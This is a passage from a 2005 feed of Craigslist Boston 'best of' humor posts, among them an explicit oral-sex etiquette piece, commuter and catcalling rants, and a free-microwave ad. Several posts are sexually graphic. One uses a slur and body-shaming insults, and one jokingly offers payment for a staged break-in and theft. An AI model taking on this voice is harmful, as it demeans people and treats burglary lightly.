ham steak, bananas. Potassium is the friend of the semen. If you're lacking, so will your taste be. Instead of the usual Bleach & Oyster Stew, serve up something a little less vile. Your partner will thank you for it. 5) No matter where you came, kiss us afterwards. Unless your partner says, "omg no way lemme rinse first where's the goddamn Listerine???" and starts singing Tarzan Boy as they run to the bathroom, you should be polite enough to give us a hearty Thank You kiss for a job well done. I mean, after YOU get done with US, the first thing you do is come up to the surface and shove your tongue down our throat. Let us do the same to you. Fair's fair. Girls: 1) How many times do we have to tell you NO FUCKING TEETH ALREADY!!!??? I don't even think I should have to elaborate, but I keep hearing about egregious ignorance of this rule. You don't want somebody to chew on YOUR special bits, do you??? Stop it. It's not nice. You learned in preschool that biting is bad. Now that you're an adult, you should know that not ALL biting is bad, but that biting peepees is still totally against the rules. You don't wish to get a reputation as The Shredder, do you? Then sheathe those fucking things already. Jebus! 2) Testicles. They want your attention. It's RUDE that you don't give it to them. There they are, innocently hangin' there, conveniently placed, and you ignore them??? Now come on. They won't hurt you! They're hearing all sorts of good things about you from their friend the penis. Why are you going to leave them out of your reindeer games??? Give them a little fondle with your hand (y'know, the one that's NOT wrapped around the penis or gripping your partner's incredibly fabulous ass), show them around the inside of your mouth, batter them a little bit with your tongue! See? It's fun! And oh, the noises you'll get out of your partner! Woohoo! 3) Know your limits. If you can't deep throat and you KNOW this, then don't even try to show off. Especially not in a first encounter. It will go very badly. If it's a skill that you wish to learn, and you have a willing study partner, then by all means coat the bed in plastic and go to town! However, it's only polite to NOT attempt those tricks at home that you've seen performed by hardly trained professionals. Gagging is only hot when both people are going for that, and not too many folks are into being puked on. Remember, I'm not talking about pros, here. I'm talking about civillians, people who DON'T give blowjobs for a living. Don't choke on the cock. Stomach acid can sting, and vomiting on an unsuspecting partner is definitely giving more than anyone bargained for. 4) Oh, stop making that face. If you don't want to be giving head in the first place, then you should say so and find another way to get him off. If you encouraged him to come in your mouth, then you are only allowed a slight grimace at the taste as you swallow (and point your face down, please, so he doesn't get a complex about it). After that, of course, you may begin singing Tarzan Boy and run for the Listerine, but until that point, play nice. You wouldn't want him to make a face like that after he'd just eaten YOU, would you? You'd probably go right home and cry, wouldn't you? 5) It's not indestructible. It's a penis. A part of the anatomy. Sometimes it'll have some foreskin, in which case, you need to be REALLY GODDAMN CAREFUL because the head is going to be about a million times more sensitive than the crew-neck brigade, because it's not been rubbed by boxer shorts, jeans, and every other damn thing under the sun. Feel how soft the skin is? It wants to be treated somewhat gently. There's all that blood in there making it swollen, and the nerve endings are on Orange Alert. If he wants something a bit rougher, he'll let you know. Also, you can gradually get more enthusiastic with your ministrations as the BJ goes on, but you should be listening carefully for ANY clue that what you're doing might be painful. If you're not sure what else to do, hum or moan with his cock inside your mouth. It's sometimes called "a hummer" for a reason, and the vibrations are soothing in a lovely sort of way. BOTH OF YOU: Communication is key. Talk. Tell your partner what you want, or how much you really like what they're doing, or something else you'd love for them to do if you need to distract them from an action that isn't working for you. Look each other in the eye (well, as much as you can from that angle without giving yourself an eyeball cramp). It's hot. Totally. Hi there! My name's Crickett, and I was just notified that the piece that I wrote on oral sex etiquette was posted on Craigslist. Thank you for putting it up there, as it did wind up on Fleshbot as a "best of craigslist" thing, but I'd be really appreciative if there's some way that you'd be able to amend it with either a direct link to my LiveJournal or at least credit me as the writer of said piece. Being as it was originally posted in my LiveJournal, and written initially *for* my LiveJournal by me, I do retain the copyright on it as my own intellectual property. Thanks for putting it out there, and thanks in advance for your time. Sincerely, Crickett Lancaster <a href="http://www.livejournal.com/users/chowyunsmut">http://www.livejournal.com/users/chowyunsmut</a> webmaster@craigslist.org 2005-10-03T22:10:42-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/101715686.html Hello, a girls point of view text Letters to my fellow MBTA riders . . . http://www.craigslist.org/about/best/bos/98847718.html Dear guy wearing only a bedsheet and a green knit cap, While I expect that you're having an interesting time, please mumble to yourself more distinctly so I can understand your problems with the "fucking doctors". It amuses me in the morning. Love, me Dear snotty looking woman, I'm allowed to bring my bike on the trains at specified times of day. I play nicely and keep my bike away from you. Stop asking me if I'm sure I can have it. Be glad I'm not bringing livestock on the damn subway. No love, me Dear man with actual Vietnamese pot belly pig on train, You may want to put a leash on that. Love, me Dear self-conscious hipster girl, You can stop looking around to see if everyone notices your outfit and iPod nano. The only way that you will ever be reassured that your iPod nano has been noticed is when someone jacks it. Love, me Dear Mormons, Who do you think you'll manage to convert in the People's Republic of Cambridge? Oh, and do you still allow polygamy? No love, me Dear 80 year old man with mohawk, You rule. That is all. Love, me Dear older black dude, Please to explain the sleeveless leather vest, Verizon worker badge, black sneakers, and black police style cap. Are you in some sort of Village People cover band? Where do you play? Love, me Dear MIT kids, Please stop explaining to me what that shuddering noise is and exactly how much weight the bridge at Charles/MGH can take. I know the T's not safe. You don't need to reinforce this. No love, me webmaster@craigslist.org 2005-09-20T17:22:00-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/98847718.html Letters to my fellow MBTA riders . . . text An open letter to a fruitfly http://www.craigslist.org/about/best/bos/98847227.html Dear Fruitfly, I understand your proclivity to hang around the office. Things can get pretty messy around here and when it gets busy it's pretty likely a banana or apple will sit too long and be a haven for you and your hundred other friends that have infested the office. And I hope you enjoyed your stay up until the past few days when I cleaned things up a bit and you probably saw you and your offsprings lifespan come to a grinding halt. I know we have been at odds, and nothing was more obvious than when I took a swipe at you as you dive-bombed the hot cup of coffee I'd just poured for myself. I was potecting my livelihood, my coffee and you were drawn to the heat...or whatever. Either way we were at odds again and I really felt it was a nice setup for us; my non-caffeinated swipes were artfully dodged. Indeed, you probably had the upper hand. But drowning yourself in my coffee was uncalled for you fucking prick. By the time I saw your carcass make the tiny splashdown to my unsuccessful attempts to fish your cadaver out with my finger I realized you'd made a crucial step in our relationship with little to no consideration for what my recourse could possibly be. As the Father of a newborn I operate on a few very vital elements these days; coffee and mostly bad Discovery Channel reruns. The reruns can come and go. But the coffee...oh you're fucking with something sacred now. Consider the family you know and love in this office dead. You'll be meeting them in Fruitfly heaven. Ask them how I nuked the kitchen with Bleach and then put up no-fly strips. Ask them about the WD-40 and the lighter. You worthless prick...death is too fucking good for you. Even though I dumped your cadaver down the sink I'm half tempted to turn the garbage disposal on for a good ten minutes just to let you know how I feel. You may have shuffled off your mortal coil....but this shit isn't over. Not by a longshot. webmaster@craigslist.org 2005-09-20T17:19:44-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/98847227.html An open letter to a fruitfly text i hereby resolve not to make out with any more straight girls - w4w http://www.craigslist.org/about/best/bos/96627005.html Straight girls don't bother with flirting. They don't seduce you. They don't even buy you a drink. They just order you to kiss them. Like drill sergeants. I expect them to make me drop and give them twenty. I get a little annoyed by this, but I always do it anyway. It's like a public service. So I start kissing her, and she's usually all lascivious at this point, doing all kinds of tongue moves like she's auditioning for a lesbian porn flick, but with absofuckinglutely no soul in it. But she's hot, so I make out with her anyway, and I run my hands up her sides and over her ass and through her long girly girl hair. She doesn't move at all, or touch me back, so I try harder, looking for the sweet spot in the small of her back that will turn her on, feeling like a dirty old man molesting a department store mannequin. This is the point at which I start entertaining fantasies of taking her home, busting out all the skills I've acquired over a lifetime of dykery, and slowly, gently, sweetly, thoroughly ravishing the straightness right out of her. I think, If she'd just relax a little, she'd realize how hot this is...after all, she started it....she thinks I'm hot...right? And just when I'm starting to get all turned on and nervous and sweaty and hungry for more, she starts giggling. That's when I know I've been had. I fell for it again. I'm on Candid Camera. I bought the Brooklyn Bridge. (Giggling. Insult to injury. Tell me, men with little dicks: do they giggle at you, too?) Dance, dyke monkey! DANCE!!!!! DANCE!!!!!!!!!!!!! webmaster@craigslist.org 2005-09-10T11:28:37-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/96627005.html i hereby resolve not to make out with any more straight girls - w4w text A letter from the Porn Stars of America http://www.craigslist.org/about/best/bos/96327845.html Dear Men of Craig’s List: The membership of the National Federated Union of Porn Stars wishes to register an official complaint and related Cease and Desist request. Your incessant searching for a “girl who fucks like a porn star,” the somewhat similar “girl who sucks dick like a porn star,” and the unending fake posts regaling how “she took my spewing cum all over her face like a porn star” are interfering with the conduct of business in the legitimate porn industry. A recent study concluded that the prevalence of these requests and reports have in fact begun to convince a startling proportion of otherwise normal women that they should and must behave like porn stars. This is still a trend in its infancy but gentleman, should this phenomenon reach critical mass we, the real porn stars of America, will be shit out of luck, not to mention jobs. Evidence to support the emergence of this trend include but are not limited to: 1. Brazilian wax “technicians” report a 5,000% increase in business over the last year. This flies in the face of reason and we cannot understand why so many otherwise normal women are paying someone to mercilessly rip out their pubic hair with hot wax. We are here to tell you that being bound and gagged while having a complete stranger shoot cum all over our faces while being fucked up the ass by another stranger is a goddamned walk in the park compared to the pain and humiliation of kneeling on a paper covered table on all fours in a closet sized “salon” room while an uppity bitch clucks disapprovingly while ripping the hair from your asshole with hot wax. And while we, the porn stars of America, get paid to do both of these things, your girlfriends do not. 2. Speaking of ass fucking… Now guys, we know you love the ass fucking. Love to see it, love to think about it, and you love to pretend that you are doing it. But consider for a moment what the world will be like if all the normal women out there catch the “porn star fever” that is beginning to spread and begin ass fucking as a matter of course. Sure, you may enjoy that now but how will you feel when, as you start to lose your hair and thicken around the middle you finally settle down and get married? You will then be all but guaranteed to wed someone who has ass fucked every man she has ever dated. Do you want to live in that world? We didn’t think so. Please, for the love of God leave the ass fucking to the real porn stars of America. 3. Fake Boobs. All us porn stars have them. It’s pretty much a prerequisite for the job of American porn star. We understand your primal fixations and we are not going to bother you by over thinking them. We are here to meet every one of your infantile ‘I want to suck my mommy’s tit’ unexamined needs. And we’ll even do it while we’re shoving our hairless assholes around some strangers cock. But your girlfriends are all caught up in the spreading “porn star fever” and are now seeking breast augmentation at alarming rates. Seriously, how sexy is it going to be when you have to take your future wife, who has been fucked up the ass by every man she ever dated, to the hospital to remove her ruptured and toxic fake boob? Leave the fake boobs to us and appreciate your woman’s normal gorgeous tits. Look guys, the real porn stars of America have always been there for you. And we want that relationship to continue. We all know that even if this ill-considered craze overtakes the nation that most of you will still be sitting at home alone stroking one out night after night. And let’s be honest, you need us for that. And in a very real way, you need us to be different from the women that you work with, different from women you are neighbors with, play pub trivia games with and yes, you need us to be different from the women you date and fuck. Our value is linked to the fact that we do things that normal women don’t do. Our value is also inextricably linked to the fact that you will never fuck us. So you can see how turning all these normal women into pseudo porn stars kinda ruins it for everyone. So please, do your part to stop the “porn star fever” from spreading. Tell your woman you love her tits and her pussy just the way they are and then fuck her, but not up the ass, until she cries and begs for mercy. Let’s keep the earth on its right and proper axis and keep the porn stars of America on the Internet and the real women in your bed, if you’re lucky. Thank you, The membership of the National Federated Union of Porn Stars webmaster@craigslist.org 2005-09-08T21:54:28-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/96327845.html A letter from the Porn Stars of America text To the Fugly Fag-Hag http://www.craigslist.org/about/best/bos/93866122.html Okay so I met you last night with some of my straight buddies, and you came up to me all drunk begging me to be your "gay friend" because "every girl needs a gay." Ummm I think I talked to you for about 2 minutes at this point. Seriously, what the fuck does that even mean? It's not even like you calling me gay is rude. It's the fact that you want me to round out your friend demographic, not for my personality or anything about me, but just because I'm gay. Would you have the balls to go up to somebody who is black and ask them that? It's offensive. Why do girls feel the need to come up to gay guys and ask this stupid question. Why do I always hear "oh i used to have a gay friend in college so will you be my 'gay friend' now?" That or "oh you're so cute" or "honey" or "sweetie" like i'm a little dog or something. Seriously stop. I'm not small and furry and i don't fit in your purse, so don't talk to me like that. I have a lot of "fag-hag" type friends but I also have a lot of guy friends that I like to go to Red Sox games with and hell, even Foxy Lady. I'm friends with these people because they like me for reasons other than my sexuality, and the majority of our conversations don't revolve around it. Gasp, I actually don't sport glitter and half-shirts, and I don't like to spend all day at the mall shopping with you and giving you boy advice! Sorry to disappoint you. I guess I'm just a "bad gay." Oh and to answer your question, you eye-sore girl from last night, no, I won't be your friend. If you wanna play stereotypes and assume that all homos are a trendy accessory because we're somehow inherently hipper or more cosmopolitan or whatever, then how's this for a stereotypically shallow gay comment: Seriously you're gross. You wear braces and you have a speech impediment, and I'm sorry, but I can't hang out with a size 14(I'm being generous) with an A cup (Again, generous). God apparently hates you to curse you with looks that can burn holes in one's retinas upon direct eye contact or cause instant vomiting. Secondly, I'm afraid I've already filled my "verbally-challenged-narrow-minded-fat-girl" quota in my friendship cirle. However, if a space opens, I'll be sure to give you a moo. I'm not sure what's uglier: you or your stereotypical remarks. So to you, girl from last night or "Girl-who-gets-less-dick-than-me-and-must-compensate-for-mens'-disinterest-by-having-a-man-albeit-a-platonic-one-in-her-life," next time you see one of "us", maybe try chatting it up first. Maybe ask something else aside from "oooh honey how much do you love my dress?" No, I don't like your tarp and I really don't care what you're wearing. Although you suck, thanks for confirming my homosexuality! webmaster@craigslist.org 2005-08-28T02:08:08-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/93866122.html To the Fugly Fag-Hag text Please can I walk in peace? http://www.craigslist.org/about/best/bos/91893615.html Dear Men of Cambridge, MA, on Pearl St. between Erie and Mass. Ave, We need to talk. I know you agree, because every morning and afternoon, you try your hardest to get my attention. I've listened to what you had to say every day that I've lived in Cambridge. Now, it's my turn to talk. -My name is not Baby, Honey, Sweetheart, Muffin Ass or any other witty pet name you can concoct. -No, I do not want to let you "hit that shit". -No, you cannot walk with me. You can walk near me, I suppose, because the sidewalk is public property and I can't stop you, but I'm not going to speak to you or acknowledge your presence. I'll probably "accidentally" flick my cigarette at you if you do so. -I do not want to be your "boo". What the hell is a "boo"? Do I scare you? Do I look like a ghost? Please translate. -If you have nothing better to do at 8am and at 4:00pm on a weekday than to sit on your stoop and cat call passers-by with a bottle of liquor oh-so-inconspicuously hidden in a brown paper bag in your hand than it's no wonder you're still single. -"Damn baby, you have a FAT ass. NICE" is NOT a compliment. -I live 6 blocks from Central Square in an apartment that costs more per year than a new Mercedes. I have a job. You clearly do not. I want to know how you afford your apartment two blocks from the square when I work and can barely afford mine. If cat-calling passers-by pays money, please introduce me to your HR Director. I would like to compliment her on her "jiggle". Whatever that means. -Sneaking up behind me, removing one of my iPod headphones and asking me what I'm listening to is a good way to get the toe of my "sexy kick" in your groin. It is not a good way to get my phone number. So please. PLEASE can I just walk to and from the T station in peace? Please? You all creep me the fuck out. Thanks. -Disenchanted Citizen webmaster@craigslist.org 2005-08-18T14:08:53-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/91893615.html Please can I walk in peace? text I deserve a booty CALL. http://www.craigslist.org/about/best/bos/91566131.html We met on the Internet in a chat room. You had a playful screen name. I was horny and feeling particularly slutty. You sent me a picture in your Marine uniform. I was turned on. You asked for my address. I gave you a day and time. You showed up on time. I was completely impressed. You were nicely dressed, you looked like your picture, and you did not care that I was bringing in garbage cans when you came up the driveway (I really had not expected you to be on time). We went upstairs and I overlooked your weird obsession with having the door shut (despite the fact that we were alone) while we were having sex. I quickly forgot about this when I saw that you were huge, which was a fantastic surprise! You were a great lover. The bonus came when you got the hell out of my room in a timely fashion. We hooked up once or twice more. Then you started to miss our appointments. When you missed the second one, I got the message. I was sad to say goodbye to your huge cock but, hey, that's the way it goes. I moved on with my life without much sentimentality. Then, one October day, I was watching "I Love Lucy" with my boyfriend when the doorbell rang. There you were at the door! I was astonished. You were everything that I remembered and I was a little flattered that you had come back after all this time. I kissed your cheek and I told you that it was not a good time. I thanked you for coming by and I sent you on your way. I thought that would be the last of you (especially since you had to drive an hour to get to my house). Then about a month ago, my doorbell rang again. I was in the bathroom and about to get in the shower. I considered not answering the door but then I thought that it might by the meter reader. Since I have a crystallized glass front door, I knew that whoever it was would see my movement. I looked through the peephole and there you were. This time, I was pissed that you were at my door. YOU FUCKER, YOU HAVE MY FUCKING PHONE NUMBER AND MY E-MAIL ADDRESS. FOR FUCK'S SAKE, GIVE ME A HEADS UP IF YOU ARE COMING OVER. Fucking asshole. I opened the door because I knew that you had seen me. I was in my ugly robe, unwashed, but with minty fresh breath (I had just finished brushing my teeth). I opened the door to tell you to piss off. I was determined not to sleep with you. Despite my best intentions and my most righteous indignation, damn it, you would not be denied. You brought up being a Marine (which, while I despise the military, I find hot); you were gainfully employed (in case we had a future ...); and you were nicely dressed (no woman can resist a well dressed man). So we ended up sleeping together and it was fantastic again! Now, before we slept together, you asked if I had a condom. I did not. Afterward, you said, "Well, I hope that I don't hear from someone in eighteen years saying, 'Hi, Dad.'" I can only hope that you do not show up unannounced on my doorstep for the next eighteen years. I hate surprises as much as you apparently do. For Christ's sake, in the future, if you want to fuck, give me a call first. I know that I have not been the paragon of resistance but a heads up would be nice. Most girls balk at a booty call; I am asking for one. ::sighs:: The moral of the story: No matter what women say, a big cock gets you a lot of leeway. webmaster@craigslist.org 2005-08-17T01:30:10-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/91566131.html I deserve a booty CALL. text The Code of the Elevator will be Obeyed! http://www.craigslist.org/about/best/bos/90395119.html First off, what in the why how hell are you breathing so hard in the fuckin elevator, man? We came in the fuckin building the same way...I didn't see any fuckin stairs. Why are you breathing so hard? Second, the code. Obey the code. It must be obeyed! Everyone knows it. Just ride the elevator man. I know that its one of these interesting human phenomenons ...why don't we talk? why do we not make eye contact? etc. But you don't need to be the trailblazer that disrupts the eternal rhythm! I know its weird, like all human interaction stuff, but who fuckin cares. Obey the code... Maybe you don't know the code. Here is the code: 1) Don't talk unless you work in the same office, or something happens in the elevator that makes you in common (ie the elevator isn't working, gets stuck, etc) 2) Don't look at me when I'm sneaking my look at you. When I'm looking up at the numbers, or down at the floor, then you can take your look at me. If the elevator is mirrored or otherwise reflective, do the mirror-glance cautiously. Thats the end of the code. webmaster@craigslist.org 2005-08-11T12:30:13-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/90395119.html The Code of the Elevator will be Obeyed! text Bud Light presents real men of genius http://www.craigslist.org/about/best/bos/85755955.html Bud Light presents Real Men of Genius. (Real Men of gen-ius!) Today we salute you, Mr. Self-appointed Craigslist Rants and Raves Moderator. (Mr. Self-appointed Craigslist Rants and Raves Moder-a-tor!) The other posters just go with the flow, but you decide who gets the final word and that's when you say you're tired of the thread, or you just don't like the pictures. (He doesn't like the pic-tures!) You're always the first one to say "Look it up yourself on Google you lazy skank whore bitch". If anyone steals from "Best of", you're our Johnny on the Spot to call him out. (No pla-gia-ri-zing!) You're the one that can't stand polls and gets all upset when someone posts song lyrics. You also like to call "bullshit" whenever you don't believe someone. (someone's trolling on MY board!) So crack open an ice cold Bud Light, Oh Self-Appointed Craigslist Rants and Raves Moderator. In fact, you may think your shit don't stink, but you'll always be our favorite fucktard. (Bud Light Beer, Anheuser-Busch, St. Louis, Missouri). webmaster@craigslist.org 2005-07-20T14:55:33-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/85755955.html Bud Light presents real men of genius text RANT: So you're showing my apartment? http://www.craigslist.org/about/best/bos/84627990.html Yesterday after coming home from an extremely long, stressful day of work, I plopped down on the couch to relax for a bit. Laying in front of the TV is great, but an orgasm would really help me blow off some steam. Lucky for me, I had recently purchased a rabbit, so I retrieved that from my bedroom, returned to the couch, and brought up some gay porn on my laptop(side rant-- will someone please make porn tailored to women?) Just as I was beginning to get that tingling feeling that happens before I come, I heard the sound of someone trying to unlock the door to my apartment. WHATTHEFUCKISTHIS!? Shit! I am naked from the waist down holding a loud-ass vibrator standing in front of a laptop on which a man is moaning loudly and telling another man how he wants him to "put it in my ass!" SHIT! WHO THE FUCK IS COMING IN THE DOOR RIGHT NOW? I completely panic. My shaking hands try desperately to turn the vibrator off, but in my excited state I completely forget how to do it..there are so many buttons!! why did I buy the fancy model??? I rip the batteries out of the stupid thing after fumbling with it and wasting precious seconds. I throw everything in the closet of my bedroom, close the door, and start to look for some pants. Then I remember that gay porn is still being played loudly on my couch. FUCK! FUCK! FUCK! I could hear the sound of the second lock unlocking. I dash back into the livingroom and try with my again shaking hands to at least turn the volume down. The door is opening at this point so I snatch the laptop and scurry half-nakedly back to my bedroom while depressing the volume button. Unfortuately, I hit the wrong side of the volume button and deafeningly loud moans are now emanating from my bedroom--gay men moans. Shit! People are in my living room now. I yell "ONE MOMENT!!!!" as loud as I can, trying to try to drown the sounds of Brad getting slammed in the ass. In a complete state of terror I make the unwise decision of throwing the laptop as far under my bed as I can, hoping that the boxspring and mattress would be enough to muffle the sound of my laptop at full volume. Sadly, it was not. People are milling about in the apartment now, so I grab some shorts from my bureau and emerge from my bedroom to greet the realtor and prospective new tenants in a dress shirt and shorts, flushed, and visibly shaken. I introduce myself over the sounds of an apparent orgy in my bedroom to a profusely apologizing realtor and a smirking couple. I summoned as much dignity as I could, smiled devilishly, and returned to the fake orgy in my bedroom as they showed themselves out. Don't you people call first? webmaster@craigslist.org 2005-07-15T10:35:48-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/84627990.html RANT: So you're showing my apartment? text girl-on-girl lessons http://www.craigslist.org/about/best/bos/83754127.html There seems to be an enormous number of ladies who want to learn how to engage in girl-on-girl sex. So I am offering lessons for the following rates: How to go down on a girl...$150.00 for the first two hours. You might not want to eat my pussy for two hours and obviously I won't pressure you to, but you'll still have to pay for the full lesson. I charge $25.00 for each addition 1/2 hour. I'll let you go down on me and give you feedback and constructive criticism about your style. I will describe many different techniques and give you ample opportunity to practice. Also, I might be willing to go down on you for free if you're hot, but there's no guarantee on that. And you can't pay me to go down on you so don't ask. How to suck a girl's titties...$45.00 for 1/2 hour. I'm not really that into having my nipples sucked, but lots of girls do like it, so you need to know how to do it. Basic fucking...$200.00 for the first two hours and $25.00 for each addition 1/2 hour. This is really a bargain that you cannot afford to pass up--You need to know how to fuck a girl well. Upon completing my lesson, you will have the confidence and know-how to fuck a girl's brains out for hours. And yes, that is what she'll probably want. First I'll show you how to fuck with your fingers (fisting is another lesson, and you have to take basic fucking first). Then I will let you try a variety of toys and other objects. The final portion of the lesson focuses on how to fuck with a strap-on. Trust me, you'll love it. Again, I might fuck you too if I feel like it, but there are no guarantees. Combo pack...Another amazing bargain...$300.00 for as long as it takes you to master all of the above skills AND more. I will also teach you how to fuck and go down on a girl at the same time; you'll be in trouble if you don't know how to do that. Another advantage of the combo pack is that you will learn about foreplay and communication. Tribbing...Sorry, you'll have to go elsewhere for tribbing. Safe-sex practices are used in all of the lessons. Consider this another bonus--you'll be learning it for free!! webmaster@craigslist.org 2005-07-11T13:54:48-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/83754127.html girl-on-girl lessons text $100 to steal my roommate's cat http://www.craigslist.org/about/best/bos/83591683.html Need an easy way to make $100? Break into my apartment and steal my roommate’s cat. Please! You can have the cat, give it to the animal rescue league or sell it to a Chinese takeaway. I really don’t care. Bottom line is the cat needs to GO! I have racked my brain trying to come up with ways to get rid of this cat, but any possible scenarios I have worked out would definitely be figured out by my stealthy roommate. This is the only way I can get rid of this mangy animal without incurring the wrath of my roomie. Before you consider me a heartless individual, please understand that there is a solid basis for my utter hatred of said feline. I hate this cat with a passion. Here are my reasons for hating the cat: 1. It smells. It has a skin disease and must get weekly injections of anti-inflammatory drugs. It also wears one of those lampshade cones around its neck so it won’t lick it’s inflamed, oozing patches of skin. This presents a problem. Because the cat wears a cone, it cannot clean itself. Therefore, the cat reeks. It also has a nasty habit of scratching around its litter box and emerging with large chunks of cat turds stuck around the rim of its cone-head contraption. I have found these chunks of cat turds and other dingles from the cat’s nether regions on such places as a) the dining room table b) my bed c) the bed in our guest room etc. It is gross. 2. Because the cat is so smelly, it needs to be bathed on a weekly basis. This has caused an excessive amount of cat hair to become lodged in our pipes. Massive amounts of Drano are futile against the massive hairballs lodged within our apartment’s plumbing system. 3. The cat’s food. Let’s face it – cat food is nasty. This cat refuses to eat dry food. It will only eat wet food. The cat food is constantly strewn about our living room floor (yes, the cat prefers to eat in the living room because the cold terra cotta tiles in the kitchen “hurt his feet” according to my roommate). The cat cannot reach its food if it is placed on the floor because of the large cone around its neck. Therefore, the cat eats out of a large platter perched upon a TV-tray table. It sits on the couch and munches away on it’s smelly “captains platter” flavored Friskies, all the while dropping bits of the stinking, rotting, slimy, ground up fish carcasses onto my oriental rugs. 4. It has a nasty habit of throwing up its Friskies “filet and pate” all over the apartment. Never on an easily cleanable surface either. No, I always come home from work to find piles of barf on the leather couch, the Oriental rug and the shag rug in the bathroom (that one we had to throw out). Last week was in the nineties. What a joy it was for me to come home to my apartment and enter an abode smelling of hot tuna and stomach bile that had been festering in the 80 degree apartment all day. When I opened the door the fumes it me like a punch in the face. 5. I just hate cats. Period. So, if you think you are up for the challenge, I invite you to come to our apartment and steal my roomie’s cat. Please email me and I will give you directions to my apartment. I encourage you to be creative. There are several windows along the fire escape that can easily be broken (we don’t have an alarm…those stickers are just a decoy). Please make sure that you make it believable-open up the cabinets, toss a few items on the floor, pull the cushions off the sofa in the living room etc. My roomie keeps her pot stashed in a ceramic vase on top of the microwave. Please steal that and maybe a few bottles of booze from our liquor cabinet – might make her think some kids from PS123 broke in on their lunch break. Don’t forge to take the cat WITH YOU when you leave. And leave the window open…that way she’ll think the cat jumped out. Help yourself to a cold beer in the fridge as well. Please email and I send directions to my apartment and arrange a time to meet in private and pay you $100 CASH. webmaster@craigslist.org 2005-07-10T17:58:43-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/83591683.html $100 to steal my roommate's cat text Free Microwave of Mysteries! http://www.craigslist.org/about/best/bos/80830034.html Free microwave available if you can pick it up on Sunday (preferable!), Tuesday, or Wednesday - but not just any microwave! Read on! Craigslist reader, your life is easy. You've been sitting around your apartment/dorm/shanty, idly drinking mint juleps and occasionally throwing pennies at passers-by in fits of largesse. You graduated college/high school with that straight-A (or C) average, and ever since then life's pleasures have practically been handed to you on a silver platter. Yet . . . you're unsatisfied. Though your every need is catered to, your life lacks fulfillment. Excitement. Challenge. This is why you need my microwave. Yes, the Microwave of Mysteries can bring you a world of infinite pleasure and spiritual enlightment! Though it was once a normal white Sharp Carousel microwave (model R-310AW), the Microwave of Mysteries has evolved into much more, possibly through Intelligent Design, possibly through total ignorance. Where once was a large, powerful (1000 watts!) home appliance, now there's a large, powerful home appliance whose display is only 50% functional! Yes! While its food-heating capabilities have only grown stronger while it brooded in my kitchen, only about half of the lines of Microwave of Mysteries' LED display still work, so once you press that START button, who can say how much time is left? What does "_uL" or "J=|" mean? Is that a 3 or an 8 or the "E" from "END"? The Microwave of Mysteries will keep you on your toes as it cooks your Lean Cuisine to tender, flakey deliciousness! Sometimes it beeps! Sometimes the display flashes cryptically! Sometimes it says "DEF LBS"! Who knows what its tiny electronic heart desires? You won't, because the manual is long gone! But unless you have a very serious short-term memory problem and can't retain the fact that you put your stale coffee in for 2 minutes to make it perfectly, pipingly hot, the Microwave of Mysteries' innovative display will not hinder your cooking at all! Wow! Your grandmother never dreamed that the kitchen of the future would have such thrills in it! Commonly Asked Questions about the Microwave of Mysteries: Q) Does it come with a box? A) No! It comes with the spinny thing on the inside that gives your food the ride of its life as it's cruelly heated by secretive space-age rays! Q) How big is it? A) 20.5" wide x 11" tall by 15" deep on the outside! And the inside is big enough for a small turkey or two bowling balls or at least four packages of marshmallow Peeps (recommended)! Q) What color is it? I wasn't paying attention earlier when you said, and you see, even though I'm perusing the free section on Craiglist and my assets consist of $3 in quarters and a box of expired ramen, I am very concerned about maintaining my kitchen's decorative theme, which is (choose one:) cows/grapes/beer/country living! A) It is the purest, most virginal white of freshly-fallen snow. If you were a bride, you'd want to wear it down the aisle! Q) It is clean? A) Sure! Q) Will you deliver it to me? I live really close or possibly in Ayer or Rhode Island, but I don't have a car and I really want a free microwave, or I do have a car but I want you to pay $30 in gas and tolls to deliver it to me! A) I don't have a car, either, so unless you live in my kitchen, the answer is no. Q) Will you hold it for me? I'll pick it up on Thursday! A) No. I will not hold my microwave, embrace it, or otherwise coddle it into thinking I still love it. First come is first served - and served delicious and steamy hot! Q) So I heard that piece on "This American Life" a while back about the guy who found that all of his appliances were humming different notes, and they made chords together, and that some of those chords were "happy" and some were "sad," and he said that his refrigerator and microwave played B-flat and F-sharp, which made a chord that elicited "active anguish in a context of flux," so will the Microwave of Mysteries ruin my kitchen harmonics? A) With its pure B, it'll feng shui your kitchen into musical alignment! Q) What if I want to get the display fixed? A) You're mad! The wonky display is the secret of the Microwave of Mysteries' allure! But if you do want to get a free microwave and then spend money fixing it, there's a place that will do it! See <a href="http://mem.tcon.net/users/5010/5491/pwbrepair.htm">http://mem.tcon.net/users/5010/5491/pwbrepair.htm</a> ! Yes! Instead of buying a perfectly functional new microwave for $20 at Wal-mart, you could spend $32.50+shipping refurbishing an old microwave! What are you, a philosophy major? Stop spending your money on crap! Q) Other than the display, is anything else, er, "unusual" about the Microwave of Mysteries? A) Nothing whatsoever! It's a perfectly functional and powerful microwave that happens to give no useful feedback to its user. Yes, I know, I raised it wrong and now it's secretive and withdrawn and doesn't like to reveal things, and yes, it fears intimacy and sometimes I can hear it crying late at night after the other appliaces are asleep, but trust me, it can still be a stalwart member of your Kitchen Corps! Q) Wait, *four* packages of Peeps? A) Yeah, if you squish 'em together a little. Remember, a few seconds on high is all they need! So, if you can pick it up in North Cambridge, near Davis Square, on Sunday (the best day!), Tuesday, or Wednesday, the Microwave of Mysteries is yours! Free! webmaster@craigslist.org 2005-06-25T08:39:37-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/80830034.html Free Microwave of Mysteries! text CL has ruined me http://www.craigslist.org/about/best/bos/79230348.html I posted a snapshot of my erect penis. A slut from Hull responded. She was a seacow. Her vagina smelled funny, but at least she shaved down there. We argued about religion and politics, then she called me a Fucktard. I retorted, "Fuck you, Asshat!" She laughed, so I fucked her in the ass until she squirted, then I stuck it in her 